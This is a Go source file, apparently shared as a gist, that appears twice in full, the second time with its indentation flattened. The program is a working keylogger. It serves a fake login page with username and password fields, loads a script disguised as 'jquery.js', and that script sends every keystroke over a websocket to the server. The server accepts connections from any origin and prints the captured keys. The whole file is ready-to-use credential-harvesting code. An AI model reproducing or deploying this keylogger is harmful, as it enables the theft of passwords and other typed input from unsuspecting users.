dorneanu/main.go

## main.go
package main

import (
	"flag"
	"fmt"
	"html/template"
	"log"
	"net/http"

	"github.com/gorilla/mux"
	"github.com/gorilla/websocket"
)

// Some global variables
var (
	upgrader = websocket.Upgrader{
		CheckOrigin: func(r *http.Request) bool { return true },
	}
	listenAddr   string
	jsTemplate   *template.Template
	htmlTemplate *template.Template
)

// init gets executed before main
func init() {
	flag.StringVar(&listenAddr, "listen-addr", "", "Adddress to listen on")
	flag.Parse()

	log.Print("Listen-Addr: " + listenAddr)

	// Set javascript template
	// This script will act as a keylogger and send every key stroke
	// to a websocket.
	jsTemplate = template.Must(template.New("js").Parse(`
		(function() {
			var conn = new WebSocket("ws://{{.}}/websocket");
			document.onkeypress = keypress;
			function keypress(evt) {
				s = String.fromCharCode(evt.which);
				conn.send(s);
			}
		})();
	`))

	htmlTemplate = template.Must(template.New("html").Parse(`
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width">
	<title>JS Bin</title>
	</head>
	<body>
	<script src="http://{{.}}/jquery.js"></script>
	<form action="/login" method="post">
		<input name="username"/>
		<input name="password"/>
		<input type="submit"/>
	</form>
	</body>
	</html>
	`))
}

func index(w http.ResponseWriter, r *http.Request) {
	// Return html template and replace {{.}} by listen addr in the template
	htmlTemplate.Execute(w, listenAddr)
}

// serveWebSocket will receive data from the JS keylogger
func serveWebSocket(w http.ResponseWriter, r *http.Request) {
	// Update HTTP connection to websocket
	c, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Print("upgrade:", err)
		return
	}
	defer c.Close()
	fmt.Printf("Connection from %s\n", c.RemoteAddr().String())

	// In an infinite loop receive messages and print them to stdout
	for {
		_, msg, err := c.ReadMessage()
		if err != nil {
			return
		}
		fmt.Printf("From %s: %s\n", c.RemoteAddr().String(), string(msg))
	}
}

// serveJavaScript returns the javascript code specified in jsTemplate
func serveJavaScript(w http.ResponseWriter, req *http.Request) {
	log.Print("Serving Javascript content")

	w.Header().Set("Content-Type", "application/javascript")

	// Replace {{.}} by websocket's address in jsTemplate and write
	// generated string to http.ResponseWriter
	jsTemplate.Execute(w, listenAddr)
}

func main() {
	// Create router
	r := mux.NewRouter()
	r.HandleFunc("/", index)
	r.HandleFunc("/websocket", serveWebSocket)
	r.HandleFunc("/jquery.js", serveJavaScript)
	log.Fatal(http.ListenAndServe(":1337", r))
}
	package main

	import (
	"flag"
	"fmt"
	"html/template"
	"log"
	"net/http"

	"github.com/gorilla/mux"
	"github.com/gorilla/websocket"
	)

	// Some global variables
	var (
	upgrader = websocket.Upgrader{
	CheckOrigin: func(r *http.Request) bool { return true },
	}
	listenAddr string
	jsTemplate *template.Template
	htmlTemplate *template.Template
	)

	// init gets executed before main
	func init() {
	flag.StringVar(&listenAddr, "listen-addr", "", "Adddress to listen on")
	flag.Parse()

	log.Print("Listen-Addr: " + listenAddr)

	// Set javascript template
	// This script will act as a keylogger and send every key stroke
	// to a websocket.
	jsTemplate = template.Must(template.New("js").Parse(`
	(function() {
	var conn = new WebSocket("ws://{{.}}/websocket");
	document.onkeypress = keypress;
	function keypress(evt) {
	s = String.fromCharCode(evt.which);
	conn.send(s);
	}
	})();
	`))

	htmlTemplate = template.Must(template.New("html").Parse(`
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width">
	<title>JS Bin</title>
	</head>
	<body>
	<script src="http://{{.}}/jquery.js"></script>
	<form action="/login" method="post">
	<input name="username"/>
	<input name="password"/>
	<input type="submit"/>
	</form>
	</body>
	</html>
	`))
	}

	func index(w http.ResponseWriter, r *http.Request) {
	// Return html template and replace {{.}} by listen addr in the template
	htmlTemplate.Execute(w, listenAddr)
	}

	// serveWebSocket will receive data from the JS keylogger
	func serveWebSocket(w http.ResponseWriter, r *http.Request) {
	// Update HTTP connection to websocket
	c, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
	log.Print("upgrade:", err)
	return
	}
	defer c.Close()
	fmt.Printf("Connection from %s\n", c.RemoteAddr().String())

	// In an infinite loop receive messages and print them to stdout
	for {
	_, msg, err := c.ReadMessage()
	if err != nil {
	return
	}
	fmt.Printf("From %s: %s\n", c.RemoteAddr().String(), string(msg))
	}
	}

	// serveJavaScript returns the javascript code specified in jsTemplate
	func serveJavaScript(w http.ResponseWriter, req *http.Request) {
	log.Print("Serving Javascript content")

	w.Header().Set("Content-Type", "application/javascript")

	// Replace {{.}} by websocket's address in jsTemplate and write
	// generated string to http.ResponseWriter
	jsTemplate.Execute(w, listenAddr)
	}

	func main() {
	// Create router
	r := mux.NewRouter()
	r.HandleFunc("/", index)
	r.HandleFunc("/websocket", serveWebSocket)
	r.HandleFunc("/jquery.js", serveJavaScript)
	log.Fatal(http.ListenAndServe(":1337", r))
	}